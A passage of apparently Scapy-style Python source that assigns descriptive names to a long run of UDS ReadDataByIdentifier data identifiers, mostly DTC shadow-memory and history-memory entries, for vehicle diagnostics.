\"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x201f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2020] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2021] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2022] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2023] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2024] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2025] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2026] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2027] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2028] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2029] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x202f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2030] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2031] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2032] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2033] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2034] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2035] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2036] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2037] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2038] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2039] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x203f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2040] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2041] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2042] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2043] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2044] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2045] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2046] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2047] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2048] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2049] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x204f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2050] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2051] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2052] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2053] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2054] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2055] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2056] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2057] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2058] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2059] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x205f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2060] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2061] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2062] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2063] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2064] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2065] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2066] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2067] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2068] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2069] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x206f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2070] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2071] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2072] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2073] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2074] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2075] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2076] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2077] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2078] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2079] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x207f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2080] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2081] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2082] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2083] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2084] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2085] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2086] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2087] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2088] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2089] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x208f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2090] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2091] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2092] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2093] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2094] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2095] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2096] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2097] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2098] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2099] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209a] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209b] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209c] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209d] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209e] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x209f] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20a9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20aa] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ab] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ac] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ad] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ae] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20af] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20b9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ba] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20bb] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20bc] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20bd] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20be] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20bf] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20c9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ca] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20cb] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20cc] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20cd] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ce] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20cf] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20d9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20da] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20db] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20dc] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20dd] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20de] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20df] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20e9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ea] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20eb] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ec] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ed] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ee] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ef] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f0] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f1] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f2] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f3] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f4] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f5] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f6] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f7] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f8] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20f9] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20fa] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20fb] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20fc] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20fd] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20fe] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x20ff] = \"dtcShadowMemoryEntry\"\nUDS_RDBI.dataIdentifiers[0x2100] = \"dtcHistoryMemory\"\nUDS_RDBI.dataIdentifiers[0x2101] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2102] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2103] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2104] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2105] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2106] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2107] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2108] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2109] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x210f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2110] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2111] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2112] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2113] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2114] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2115] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2116] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2117] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2118] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2119] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x211f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2120] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2121] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2122] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2123] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2124] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2125] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2126] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2127] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2128] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2129] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x212f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2130] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2131] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2132] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2133] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2134] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2135] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2136] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2137] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2138] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2139] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x213f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2140] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2141] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2142] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2143] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2144] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2145] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2146] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2147] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2148] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2149] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x214f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2150] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2151] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2152] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2153] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2154] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2155] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2156] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2157] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2158] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2159] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x215f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2160] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2161] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2162] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2163] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2164] = \"dtcHistoryMemoryEntry 